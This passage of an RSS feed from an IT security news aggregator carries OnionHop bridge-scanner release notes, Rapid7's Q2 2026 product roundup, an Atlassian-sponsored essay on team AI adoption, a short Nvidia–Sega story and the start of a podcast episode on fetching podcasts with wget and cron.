<h3>Downloads</h3>
<table>
<thead>
<tr>
<th align="left">Platform</th>
<th align="left">File</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Windows installer</td>
<td align="left"><code>OnionHop-Setup-v3.exe</code></td>
</tr>
<tr>
<td align="left">Windows portable</td>
<td align="left"><code>OnionHopV3-Portable-3.6.1-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Windows CLI</td>
<td align="left"><code>OnionHop-CLI-Setup-3.6.1.exe</code> / <code>OnionHopCLI-Portable-3.6.1-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Linux</td>
<td align="left"><code>OnionHop-x86_64.AppImage</code></td>
</tr>
<tr>
<td align="left">Linux CLI</td>
<td align="left"><code>OnionHopCLI-3.6.1-linux-x64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS (Apple Silicon)</td>
<td align="left"><code>OnionHop-3.6.1-macOS-arm64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS (Intel)</td>
<td align="left"><code>OnionHop-3.6.1-macOS-x64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Apple Silicon)</td>
<td align="left"><code>OnionHopCLI-3.6.1-macos-arm64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Intel)</td>
<td align="left"><code>OnionHopCLI-3.6.1-macos-x64.tar.gz</code></td>
</tr>
</tbody>
</table>]]></content:encoded>
</item>
<item>
<title><![CDATA[OnionHop 3.6.2]]></title>
<description><![CDATA[Scanner improvements from testing feedback.
Added

Bridge scanner: "Load bridges" — fetches the selected category/transport list into the input without scanning, so you can review or edit the list first, then scan (a two-step flow like BridgeHop's).
"Import file" on both the bridge scanner and th...]]></description>
<link>https://tsecurity.de/de/3687277/it-security-tools/onionhop-362/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687277/it-security-tools/onionhop-362/</guid>
<pubDate>Wed, 22 Jul 2026 20:29:17 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Scanner improvements from testing feedback.</p>
<h3>Added</h3>
<ul>
<li><strong>Bridge scanner: "Load bridges"</strong> — fetches the selected category/transport list into the input without scanning, so you can review or edit the list first, then scan (a two-step flow like BridgeHop's).</li>
<li><strong>"Import file"</strong> on both the bridge scanner and the SNI scanner — load bridge lines / candidate domains from a <code>.txt</code>/<code>.csv</code> file.</li>
<li><strong>Saved-bridges library: ping badge</strong> — each saved entry's latency now shows as a green (or amber, when slow) "✔ ms" badge instead of a plain number.</li>
</ul>
<h3>Downloads</h3>
<table>
<thead>
<tr>
<th align="left">Platform</th>
<th align="left">File</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Windows installer</td>
<td align="left"><code>OnionHop-Setup-v3.exe</code></td>
</tr>
<tr>
<td align="left">Windows portable</td>
<td align="left"><code>OnionHopV3-Portable-3.6.2-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Windows CLI</td>
<td align="left"><code>OnionHop-CLI-Setup-3.6.2.exe</code> / <code>OnionHopCLI-Portable-3.6.2-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Linux</td>
<td align="left"><code>OnionHop-x86_64.AppImage</code></td>
</tr>
<tr>
<td align="left">Linux CLI</td>
<td align="left"><code>OnionHopCLI-3.6.2-linux-x64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS (Apple Silicon)</td>
<td align="left"><code>OnionHop-3.6.2-macOS-arm64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS (Intel)</td>
<td align="left"><code>OnionHop-3.6.2-macOS-x64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Apple Silicon)</td>
<td align="left"><code>OnionHopCLI-3.6.2-macos-arm64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Intel)</td>
<td align="left"><code>OnionHopCLI-3.6.2-macos-x64.tar.gz</code></td>
</tr>
</tbody>
</table>]]></content:encoded>
</item>
<item>
<title><![CDATA[OnionHop 3.7.1]]></title>
<description><![CDATA[Adds a Copy button to saved bridges and SNI hosts, so you can rescan them without applying first.
Added

Copy button in the saved library. Each entry in Scanner > Saved now has a "Copy" button next to Apply and Delete. It copies just that bridge line or SNI host to the clipboard, so you can paste...]]></description>
<link>https://tsecurity.de/de/3687274/it-security-tools/onionhop-371/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687274/it-security-tools/onionhop-371/</guid>
<pubDate>Wed, 22 Jul 2026 20:29:12 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Adds a Copy button to saved bridges and SNI hosts, so you can rescan them without applying first.</p>
<h3>Added</h3>
<ul>
<li><strong>Copy button in the saved library.</strong> Each entry in Scanner &gt; Saved now has a "Copy" button next to Apply and Delete. It copies just that bridge line or SNI host to the clipboard, so you can paste it into the bridge scanner or SNI scanner and rescan it directly. Previously you had to Apply an entry and copy it from another tab before you could rescan it.</li>
</ul>
<h3>Downloads</h3>
<table>
<thead>
<tr>
<th align="left">Platform</th>
<th align="left">File</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Windows installer</td>
<td align="left"><code>OnionHop-Setup-v3.exe</code></td>
</tr>
<tr>
<td align="left">Windows portable</td>
<td align="left"><code>OnionHopV3-Portable-3.7.1-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Windows CLI</td>
<td align="left"><code>OnionHop-CLI-Setup-3.7.1.exe</code> / <code>OnionHopCLI-Portable-3.7.1-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Linux</td>
<td align="left"><code>OnionHop-x86_64.AppImage</code></td>
</tr>
<tr>
<td align="left">Linux CLI</td>
<td align="left"><code>OnionHopCLI-3.7.1-linux-x64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS (Apple Silicon)</td>
<td align="left"><code>OnionHop-3.7.1-macOS-arm64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS (Intel)</td>
<td align="left"><code>OnionHop-3.7.1-macOS-x64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Apple Silicon)</td>
<td align="left"><code>OnionHopCLI-3.7.1-macos-arm64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Intel)</td>
<td align="left"><code>OnionHopCLI-3.7.1-macos-x64.tar.gz</code></td>
</tr>
</tbody>
</table>]]></content:encoded>
</item>
<item>
<title><![CDATA[What’s New in Rapid7 Products and Services: Q2 2026 in Review]]></title>
<description><![CDATA[If Q1 set the pace for Rapid7's tools, Q2 accelerated it. This quarter brought a steady stream of product enhancements, platform investments, and customer-driven innovation across Rapid7’s portfolio. Each release was designed with a clear goal in mind: helping security teams reduce complexity whi...]]></description>
<link>https://tsecurity.de/de/3686659/it-security-nachrichten/whats-new-in-rapid7-products-and-services-q2-2026-in-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686659/it-security-nachrichten/whats-new-in-rapid7-products-and-services-q2-2026-in-review/</guid>
<pubDate>Wed, 22 Jul 2026 16:30:13 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><span>If Q1 set the pace for Rapid7's tools, Q2 accelerated it. This quarter brought a steady stream of product enhancements, platform investments, and customer-driven innovation across Rapid7’s portfolio. Each release was designed with a clear goal in mind: helping security teams reduce complexity while increasing speed, context, and confidence in their day-to-day operations. Here’s a closer look at what launched in Q2.</span></p><h2>Detection and response</h2><h3><span>Streamline investigations with bidirectional and enriched Microsoft Defender alerts</span></h3><p><span>Bidirectional synchronization and enriched alert context for Microsoft Defender is now generally available for SIEM and </span><a href="https://www.rapid7.com/services/managed-detection-and-response-mdr/" target="_self"><span>MDR</span></a><span> customers, enabling security teams to automatically synchronize alert status between Rapid7's </span><a href="https://www.rapid7.com/products/siem" target="_self"><span>SIEM</span></a><span> and the Microsoft Defender console. With added process tree and user identity context, analysts can investigate threats more efficiently while reducing manual effort.</span></p><h3><span>Confidently scale detection engineering with Detection as Code</span></h3><p><a href="https://www.rapid7.com/blog/post/dr-scaling-engineering-detection-as-code" target="_self"><span>Detection as Code</span></a><span> enables security teams to build, test, version, and deploy detections using Terraform and modern engineering workflows. Built-in validation, guardrails, and version control help teams deliver higher-quality alerts, maintain more consistent coverage, and scale detection engineering more effectively.</span></p><p></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5b87b1b66cb42fb0/6a60c7d908c174e1555adb14/image2.png" alt="rapid7-detection-as-code-methodology.png" caption="Figure 1: Rapid7's Detection as Code methodology." height="713" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="rapid7-detection-as-code-methodology.png" width="1553" max-width="1553" max-height="713" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5b87b1b66cb42fb0/6a60c7d908c174e1555adb14/image2.png" data-sys-asset-uid="blt5b87b1b66cb42fb0" data-sys-asset-filename="image2.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 1: Rapid7's Detection as Code methodology." data-sys-asset-alt="rapid7-detection-as-code-methodology.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 1: Rapid7's Detection as Code methodology.</figcaption></div></figure><p></p><h3><span>Strengthen ransomware resilience with Ransomware Prevention for Incident Command</span></h3><p><span>Ransomware Prevention for </span><a href="https://www.rapid7.com/products/siem" target="_self"><span>Incident Command</span></a><span> adds an intent-based layer of protection designed to stop ransomware encryption and endpoint damage before they disrupt operations. Built into the Insight Agent, this capability strengthens ransomware resilience while working alongside existing endpoint security investments, without adding operational complexity.</span></p><h2>Compliance</h2><h3>New solutions webpages</h3><p><span>Across the globe, cybersecurity regulation is shifting away from static compliance checklists and toward ongoing risk management that blends proactive defense with effective detection and response. Rapid7’s </span><a href="https://www.rapid7.com/platform" target="_self"><span>platform</span></a><span>, which brings exposure management and CTEM together with detection, response, and MDR, is well positioned to help organizations operationalize compliance across mandates such as NIS2, NIST CSF 2.0, DORA, HIPAA, HITRUST, and GovRAMP. To support that effort, Rapid7 has launched an updated library of dedicated compliance solution pages that map platform capabilities to the requirements that matter most across industries and regions. The first set of pages is live now, with more to follow in the coming weeks.</span></p><ul><li><p><a href="https://www.rapid7.com/solutions/compliance/nist-csf-2" target="_self"><span>NIST CSF 2.0</span></a></p></li><li><p><a href="https://www.rapid7.com/solutions/compliance/hipaa" target="_self"><span>HIPAA</span></a></p></li><li><p><a href="https://www.rapid7.com/solutions/compliance/hitrust" target="_self"><span>HITRUST</span></a></p></li><li><p><a href="https://www.rapid7.com/solutions/compliance/nis2" target="_self"><span>NIS2</span></a></p></li><li><p><a href="https://www.rapid7.com/blog/post/www.rapid7.com/solutions/compliance/govramp" target="_self"><span>GovRAMP</span></a></p></li></ul><p></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta8db9b364598a181/6a60c98604258068dc0bf302/rapid7-govramp-compliance.png" alt="rapid7-govramp-compliance.png" caption="Figure 2: Rapid7's new GovRAMP compliance solutions page." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="rapid7-govramp-compliance.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta8db9b364598a181/6a60c98604258068dc0bf302/rapid7-govramp-compliance.png" data-sys-asset-uid="blta8db9b364598a181" data-sys-asset-filename="rapid7-govramp-compliance.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 2: Rapid7's new GovRAMP compliance solutions page." data-sys-asset-alt="rapid7-govramp-compliance.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 2: Rapid7's new GovRAMP compliance solutions page.</figcaption></div></figure><h2>Exposure management</h2><h3><span>Turn prioritized exposures into remediation progress</span></h3><p><span>We improved Remediation Hub to help teams turn prioritized exposures into more actionable remediation progress. Updates to the Top Remediations Report add asset-level context, including operating system, IP address, cloud provider, tags, endpoint protection, and patch management details, so teams can better understand what needs to be fixed and who needs to act.</span></p><p><span>With clearer patch and endpoint coverage signals, reboot status, customizable filters, exportable reports, and scheduled email delivery, teams can spend less time assembling manual updates and more time tracking the remediation work that reduces risk. Read the full </span><a href="https://www.rapid7.com/blog/post/em-path-from-prioritized-exposures-to-remediation-progress" target="_self"><span>blog</span></a><span> to learn more about how Exposure Command helps teams move from prioritized exposures to remediation progress.</span></p><h3><span>AI pre-triage for AppSec findings</span></h3><p><span>Rapid7 is also making application security testing faster and more focused with AI vulnerability pre-triaging for InsightAppSec. Available now for </span><a href="https://www.rapid7.com/products/insightappsec" target="_self"><span>AppSec</span></a><span> customers in supported regions, the capability uses AI to automatically remove false positives during the scan process, helping teams spend less time manually reviewing findings and more time remediating actual risk.</span></p><p><span>Initial coverage started with BlindSQL, and the latest engine release adds AI validation for BlindNoSQL findings, including content-based and timing-based detections. The result is a cleaner, more confident view of application risk, so security teams can focus on high-impact vulnerabilities and accelerate remediation with less manual effort.</span></p><h2>Attack surface management</h2><h3><span>Open-source MCP Server and Agent Skill</span></h3><p><span>We are delighted to announce the introduction of a free, open-source MCP Server and Agent Skill for Bulk Export. Bulk export is a highly efficient way to access all your Rapid7 vulnerability and exposure data to AI assistants and custom AI workflows. Built as an open-source bridge, it helps customers bring their Rapid7 data into the tools and experiences that work best for their teams. Check out our </span><a href="https://www.rapid7.com/blog/post/em-bulk-export-ai-ready-security-workflows-open-source-mcp-server-agent-skill" target="_self"><span>blog</span></a><span> for more detail.</span></p><p></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt83035d9c7fcbfdf4/6a60ca130133d41740e07649/rapid7-ai-agent-skill.png" alt="rapid7-ai-agent-skill.png" caption="Figure 3: Agent Skill for Bulk Export." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="rapid7-ai-agent-skill.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt83035d9c7fcbfdf4/6a60ca130133d41740e07649/rapid7-ai-agent-skill.png" data-sys-asset-uid="blt83035d9c7fcbfdf4" data-sys-asset-filename="rapid7-ai-agent-skill.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 3: Agent Skill for Bulk Export." data-sys-asset-alt="rapid7-ai-agent-skill.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 3: Agent Skill for Bulk Export.</figcaption></div></figure><h3><span>Turn exposure filters into live dashboards</span></h3><p><a href="https://www.rapid7.com/products/command/attack-surface-management-asm/" target="_self"><span>Surface Command</span></a><span> also made exposure reporting easier with filter-based dashboard widgets. Teams can now turn saved asset and identity filters into live dashboards without writing Cypher queries, making it faster to track high-risk internet-facing assets, identity-driven exposure hotspots, unmanaged cloud infrastructure, and business-unit risk.</span></p><p><span>For continuous threat exposure management programs, this helps teams move from one-off reporting to repeatable, always-on views of exposure risk and remediation progress. Read this </span><a href="https://www.rapid7.com/blog/post/em-operationalizing-ctem-building-surface-command-dashboards" target="_self"><span>blog</span></a><span> to learn more. </span></p><h2>Platform and Labs</h2><h3><span>Rapid7 Command Platform</span></h3><h4><span>Cyber GRC</span></h4><p><span>Rapid7 introduced </span><a href="https://www.rapid7.com/about/press-releases/rapid7-launches-cyber-governance-risk-and-compliance-grc-early-access-program-to-unify-security-data-risk-context-and-compliance-workflows" target="_self"><span>Cyber GRC</span></a><span> to select customers in Q2, giving teams an early look at a new way to connect security, risk, compliance, and third-party risk management in one program. Available to both Exposure Management and Detection and Response customers, Cyber GRC brings governance and compliance workflows closer to the security data teams already use every day.</span></p><p><span>Cyber GRC will be broadly available in late July. It helps organizations move toward continuous compliance by mapping controls to real environment telemetry, automating evidence collection, and prioritizing risk with live attack surface context. That means teams can spend less time chasing audit artifacts, screenshots, and vendor risk details, and more time understanding which controls, assets, third parties, and risks need attention now.</span></p><h3><span>Rapid7 Labs</span></h3><h4><span>Rapid7 Quarterly Threat Landscape Report</span></h4><p><span>The Rapid7 Quarterly Threat Landscape Report examines the key trends shaping today's threat landscape, drawing on MDR incident response, vulnerability intelligence, ransomware monitoring, and dark web telemetry. Q1 2026 data highlights the growing dominance of vulnerability exploitation as an initial access vector, the rise of zero-click vulnerabilities, evolving ransomware operations, and the accelerating pace at which attackers operationalize newly disclosed vulnerabilities. Read the </span><a href="https://www.rapid7.com/research/report/threat-landscape-report-2026-q1" target="_self"><span>report</span></a><span> to explore all key findings and takeaways.</span></p><p></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt9eaa551742740d0a/6a60ca8f4dd0a37fcaca1cc5/rapid7-quarterly-threat-report.png" alt="rapid7-quarterly-threat-report.png" caption="Figure 4: Rapid7's quarterly threat report." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="rapid7-quarterly-threat-report.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt9eaa551742740d0a/6a60ca8f4dd0a37fcaca1cc5/rapid7-quarterly-threat-report.png" data-sys-asset-uid="blt9eaa551742740d0a" data-sys-asset-filename="rapid7-quarterly-threat-report.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 4: Rapid7's quarterly threat report." data-sys-asset-alt="rapid7-quarterly-threat-report.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 4: Rapid7's quarterly threat report.</figcaption></div></figure><h3><span>The latest threat research</span></h3><p><span>Rapid7 researchers explored emerging trends shaping the threat landscape, including the growing commercialization of </span><a href="https://www.rapid7.com/blog/post/tr-criminal-ai-underground-market-operationalizing-cybercrime-2026" target="_self"><span>criminal AI-as-a-Service</span></a><span> and the evolving tradecraft of advanced threat actors. From the underground adoption of AI tools for fraud and social engineering to an </span><a href="https://www.rapid7.com/blog/post/tr-malware-tracking-dropping-elephant-tradecraft-china-themed-loader-chain" target="_self"><span>in-depth analysis of the Dropping Elephant malware campaign</span></a><span>, these reports provide actionable intelligence on how attackers are adapting their techniques and what defenders can do to stay ahead.</span></p><h4><span>Emergent Threat Response</span></h4><p><span>This quarter's Emergent Threat Response (ETR) coverage highlights a sustained wave of high-impact vulnerabilities affecting widely deployed enterprise technologies, including </span><a href="https://www.rapid7.com/blog/post/etr-active-exploitation-of-oracle-peoplesoft-zero-day-cve-2026-35273" target="_self"><span>Oracle PeopleSoft</span></a><span>, </span><a href="https://www.rapid7.com/blog/post/etr-cve-2026-0265-authentication-bypass-in-palo-alto-networks-pan-os" target="_self"><span>Palo Alto Networks PAN-OS</span></a><span>, </span><a href="https://www.rapid7.com/blog/post/etr-critical-check-point-vpn-zero-day-exploited-in-the-wild-cve-2026-50751" target="_self"><span>Check Point VPN</span></a><span>, </span><a href="https://www.rapid7.com/blog/post/etr-cve-2026-10520-cve-2026-10523-multiple-critical-vulnerabilities-affecting-ivanti-sentry" target="_self"><span>Ivanti Sentry</span></a><span>, </span><a href="https://www.rapid7.com/blog/post/etr-cve-2026-41940-cpanel-whm-authentication-bypass" target="_self"><span>cPanel/WHM</span></a><span>, and </span><a href="https://www.rapid7.com/blog/post/etr-cve-2026-33032-nginx-ui-missing-mcp-authentication" target="_self"><span>Nginx UI</span></a><span>. For each of these CVEs, Rapid7 tracked active exploitation and rapidly evolving attacker activity to provide timely guidance to help defenders assess risk and respond quickly. See all the details, and our latest ETR coverage, </span><a href="https://www.rapid7.com/blog/tag/emergent-threat-response" target="_self"><span>here</span></a><span>.</span></p><p><span>From strengthening detection and response to advancing exposure management, expanding governance capabilities, and delivering actionable threat intelligence, Q2 demonstrated Rapid7’s continued focus on helping security teams do more with less complexity. Every enhancement this quarter was designed to reduce manual effort, surface the context that matters, and help organizations make faster, more confident security decisions. We’re carrying that momentum into the rest of the year, so stay tuned to our blog and releases as we continue building the security operations platform that helps defenders stay ahead of what’s next.</span></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The compound effect your AI adoption strategy is missing]]></title>
<description><![CDATA[For many engineering teams, AI adoption means individual engineers write code faster while overall team velocity remains stagnant. Individual speed and team speed are produced by different things, and AI has mostly accelerated the first but not the second.



The step from individual AI adoption ...]]></description>
<link>https://tsecurity.de/de/3686645/it-nachrichten/the-compound-effect-your-ai-adoption-strategy-is-missing/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686645/it-nachrichten/the-compound-effect-your-ai-adoption-strategy-is-missing/</guid>
<pubDate>Wed, 22 Jul 2026 16:23:34 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">For many engineering teams, AI adoption means individual engineers write code faster while overall team velocity remains stagnant. Individual speed and team speed are produced by different things, and AI has mostly accelerated the first but not the second.</p>



<p class="wp-block-paragraph">The step from individual AI adoption to team advantage is one many organizations haven’t taken yet, but it’s the step where real ROI lives. Make the leap and every individual gain starts compounding into something the whole team feels.</p>



<h3 class="wp-block-heading">Faster individuals, but the same team pace</h3>



<p class="wp-block-paragraph">A developer with a good AI assistant can produce more and produce faster, but ten developers all doing that, each in their own way, with their own tools and their own context, don’t add up to a team that is ten times better. More often they add up to a team moving faster in ten different directions.</p>



<p class="wp-block-paragraph">The speed stays with the person who created it. The reasoning, context, and decisions that the rest of the team would need to build on that speed gets lost.</p>



<p class="wp-block-paragraph">These three structural problems explain why:</p>



<h3 class="wp-block-heading">Problem #1: Context evaporates at scale</h3>



<p class="wp-block-paragraph">An engineer spends an hour with an AI agent working through a hard design decision. They land somewhere good. The code ships. But the reasoning, the alternatives they ruled out, and the constraints they discovered stay in a chat history nobody else will ever open. Six weeks later a teammate touches the same system, has no idea any of that thinking happened, and starts over.</p>



<p class="wp-block-paragraph">You can’t prompt your way out of a context vacuum. Agents and teammates alike are only as good as the context they start with, and right now most of that context is being generated and immediately lost. The teams that pull ahead will be the ones that treat the reasoning around the work as something worth capturing.</p>



<h3 class="wp-block-heading">Problem #2: Misalignment creates duplicative work</h3>



<p class="wp-block-paragraph">When individuals move fast in parallel without a shared source of truth, they start stepping on each other’s toes. Two people solve the same problem two different ways. An agent generates a change against a spec that quietly went stale last week. A confidently written pull request follows the wrong internal standard because the standard lived in someone’s head, not in the workflow.</p>



<p class="wp-block-paragraph">This problem gets worse as more of the work becomes agent-driven. Agents overwrite each other. Specs drift out of date faster than anyone updates them. The faster the individual pieces move, the more expensive the collisions become.</p>



<h3 class="wp-block-heading">Problem #3: Trust doesn’t scale</h3>



<p class="wp-block-paragraph">The quiet tax on AI-assisted work is review. If an individual developer can’t see how a piece of work was produced, what the intent was, what the agent was told, what standards it was working against, then they can’t confidently build on it. So, they re-check it, or rewrite it, or route around it. The individual saved an hour. The team spent two earning back the trust.</p>



<p class="wp-block-paragraph">Trust transfers when intent is legible. When a teammate or a reviewer can see what was meant, what was decided, and what guardrails applied, they can accept the work and move on. When they can’t, every handoff becomes a re-litigation.</p>



<h3 class="wp-block-heading">Turning adoption into advantage</h3>



<p class="wp-block-paragraph">The through-line across all three problems is the same. The value of AI at the team level does not live in the code any single person or agent produces. It lives in whether the intent and context around that work is captured, shared, and reusable by everyone else, human and agent.</p>



<p class="wp-block-paragraph">That reframes the leadership job. It’s not about driving more adoption, because your teams already handled that. It’s about building the connective layer that turns individual output into team capability.</p>



<h3 class="wp-block-heading">The window is now</h3>



<p class="wp-block-paragraph">This matters more every month, because the individual productivity story is about to become an agent orchestration story. The organizations that turn individual adoption into team advantage now, while the habits are still forming, will be the ones whose agents actually compound.</p>



<p class="wp-block-paragraph">See how engineering leaders are building the connective layer between individual AI adoption and team-level compound returns at <a href="https://www.atlassian.com/software/jira/dev?utm_source=foundry&amp;utm_medium=paid-social&amp;utm_campaign=P:jira%7CO:ppm%7CV:foundry%7CG:us%7CL:en%7CF:aware%7CT:prospecting%7CI:imc-jira-ai-sdlc%7CA:display%7CD:alld&amp;utm_content=P:jira%7CO:ppm%7CV:foundry%7CG:us%7CL:en%7CF:aware%7CT:prospecting%7CI:imc-jira-ai-sdlc%7CA:display%7CD:alld%7CU:cio-1" target="_blank" rel="noreferrer noopener">jira.dev.</a></p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Nvidia says Sega’s $5 million Dreamcast‑era investment saved the company, and 30 years later the partnership is coming full circle]]></title>
<description><![CDATA[I always love hearing stories from the early days of massive companies like NVIDIA, and this one from CEO Jensen Huang makes me wonder what the video gaming world would look like if Sega hadn't invested despite a botched Dreamcast GPU.]]></description>
<link>https://tsecurity.de/de/3686563/windows-tipps/nvidia-says-segas-5-million-dreamcastera-investment-saved-the-company-and-30-years-later-the-partnership-is-coming-full-circle/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686563/windows-tipps/nvidia-says-segas-5-million-dreamcastera-investment-saved-the-company-and-30-years-later-the-partnership-is-coming-full-circle/</guid>
<pubDate>Wed, 22 Jul 2026 15:46:39 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[I always love hearing stories from the early days of massive companies like NVIDIA, and this one from CEO Jensen Huang makes me wonder what the video gaming world would look like if Sega hadn't invested despite a botched Dreamcast GPU.]]></content:encoded>
</item>
<item>
<title><![CDATA[HPR4688: Downloading Podcasts with a Shell Script]]></title>
<description><![CDATA[This show has been flagged as Clean by the host.






01 Introduction






In this episode I will describe techniques for downloading podcasts using basic shell commands such as wget. 


I will illustrate this using a bash script that can be used to download HPR podcasts.


Even if you d...]]></description>
<link>https://tsecurity.de/de/3685037/podcasts/hpr4688-downloading-podcasts-with-a-shell-script/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685037/podcasts/hpr4688-downloading-podcasts-with-a-shell-script/</guid>
<pubDate>Wed, 22 Jul 2026 02:06:46 +0200</pubDate>
<category>🎥 Podcasts</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This show has been flagged as Clean by the host.</p>

<p>

</p>

<p>
01 Introduction</p>

<p>

</p>

<p>
In this episode I will describe techniques for downloading podcasts using basic shell commands such as wget. </p>

<p>
I will illustrate this using a bash script that can be used to download HPR podcasts.</p>

<p>
Even if you do not have any interest in downloading your podcasts using this method, you may find some of the methods useful or interesting.</p>

<p>
It is the principles that are discussed here that are important, rather than the implementation. </p>

<p>

</p>

<p>
02</p>

<p>
I realize that there are already a number of different podcast download programs available,  including at least one written in bash. </p>

<p>
However, you may feel that none of these suit how you wish to do things and want to create your own system tailored to your specific needs.</p>

<p>
If so, then I hope the following is of some use to you.</p>

<p>
If not, then you may still find some of the things discussed here to still be of interest.</p>

<p>

</p>

<p>
Some of the subjects I cover include</p>

<p>
wget to a user defined file name.</p>

<p>
parsing xml with xmllint.</p>

<p>
using inotifywait to trigger an action when a file is created or modified.</p>

<p>
using notify-send to send a message to the notification area.</p>

<p>
and</p>

<p>
a way of allowing a cron job to send a message to the user interface.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
03 Background</p>

<p>

</p>

<p>
There has been an ongoing discussion in comments to some HPR episodes about problems downloading HPR podcast episodes. </p>

<p>
Apparently some people have been experiencing problems with the way the episode URLs are structured. </p>

<p>

</p>

<p>
04</p>

<p>
I am afraid that I don't fully understand the nature of these problems, so I won't  be addressing that problem directly.</p>

<p>
Instead, I will present a bash script that I have written which can be used to download HPR podcasts.</p>

<p>
This bash script can be run using cron to automatically fetch new HPR podcasts and save them to a designated directory.</p>

<p>
This is a simplified version of a script that I have used for years to download HPR and other podcasts.</p>

<p>

</p>

<p>
05</p>

<p>
I won't try to read the full bash script out in this podcast, as that would be a bit dull to listen to.</p>

<p>
I will instead describe what each section does and why I chose to do things that way.</p>

<p>
Perhaps other people can offer suggestions of better ways to do things.</p>

<p>
I will post the full bash script in the show notes.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
06 Fetching Podcasts</p>

<p>

</p>

<p>
The standard way of distributing podcasts is to publish an RSS feed containing URL links to the audio files.</p>

<p>
RSS is a very long established and widely supported mechanism for this and other purposes.</p>

<p>
An RSS feed is basically an XML document which can be accessed over HTTP.</p>

<p>
These URLs contained in the RSS XML document can then be used to download the actual audio files, such as MP3 or OGG files.</p>

<p>

</p>

<p>
07</p>

<p>
Basically what we need to do is the following</p>

<p>

</p>

<p>
• Download the RSS XML document.</p>

<p>
• Extract the URL links to the audio files.</p>

<p>
• Compare the list of these links to a previously saved list to see which ones are new and which ones are ones that we previously downloaded.</p>

<p>

</p>

<p>
08</p>

<p>
• Make a list of the new URLs.</p>

<p>
• Go through this list of new URLs and download each of the new audio files.</p>

<p>
• Check to see that we actually received the new audio file.</p>

<p>
• Add the URLs of the files we successfully downloaded to our saved list of podcast URLs</p>

<p>

</p>

<p>
09</p>

<p>
In addition to this, we would like to have the above happen automatically in the background without our having to take any action on our own.</p>

<p>
We may wish to receive a notification of when a new podcast has arrived however.</p>

<p>
We would probably also wish to receive notification of any errors or failures.</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
10 Fetching Podcasts - The Preliminaries</p>

<p>

</p>

<p>
Our desire to be able to run the script automatically imposes some requirements on our solution.</p>

<p>
To schedule the script we will use cron.</p>

<p>
Cron is a Linux facility to run scripts on a schedule.</p>

<p>

</p>

<p>
11</p>

<p>
One of the side effects of using cron however is  that we need to specify the full path to the locations where we intend to keep any data files, plus also the full path to where we intend to put the downloaded podcasts.</p>

<p>

</p>

<p>
12</p>

<p>
So the first thing we need to do in our script is to specify a number of different values for things like file location, the URL for the HPR RSS feed, and several other things as well.</p>

<p>

</p>

<p>
